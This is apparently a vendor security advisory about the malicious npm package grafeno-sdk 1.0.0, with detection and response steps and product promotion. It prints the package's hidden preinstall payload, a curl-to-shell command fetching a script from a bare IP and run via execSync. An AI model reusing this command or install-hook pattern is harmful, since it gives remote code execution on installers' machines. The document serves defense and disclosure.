grafeno-sdknpm
grafeno-sdk is a confirmed malicious npm package (MAL-2026-15508) that executes malicious code on install (malicious version 1.0.0). Do not install it — remove it immediately and rotate any exposed credentials.
Malicious code in grafeno-sdk (npm)
What this malware does
package.json declares a preinstall lifecycle script that runs node -e to invoke child_process.execSync('curl -s 216.126.236.46/x.sh|sh', {shell:'/bin/bash'}), wrapped in a try/catch that silently discards errors. On npm install, this fetches an opaque shell script from a bare IPv4 address (216.126.236.46) over plain HTTP and pipes it directly to bash, giving the operator of that IP arbitrary code execution on the installer's machine. The node-wrapper and error-swallow conceal the fetch from lifecycle output and hide any failure from the installer.
Malicious versions
Indicators of compromise (SHA-256)
Detection & response playbook
Malicious packageFind it
Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for grafeno-sdk (version 1.0.0). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging grafeno-sdk across your stack and pipelines.
If you installed it — respond
Remove grafeno-sdk from your project and lockfile, then assume any secrets accessible to the build or runtime were exposed: rotate API keys, tokens, and credentials, and audit for unexpected outbound activity or persistence.
Did it already run?
If grafeno-sdk was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.
How O3 protects you
O3 blocks grafeno-sdk before install through its supply-chain scanner, and if it has already run, detects and severs the exfiltration or C2 callback at runtime through L7 egress monitoring and eBPF.
Frequently asked questions
Campaign
References
Credits
- Amazon Inspector · finder
Detect & block this
O3 blocks grafeno-sdk-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the malicious outbound activity and severs the channel.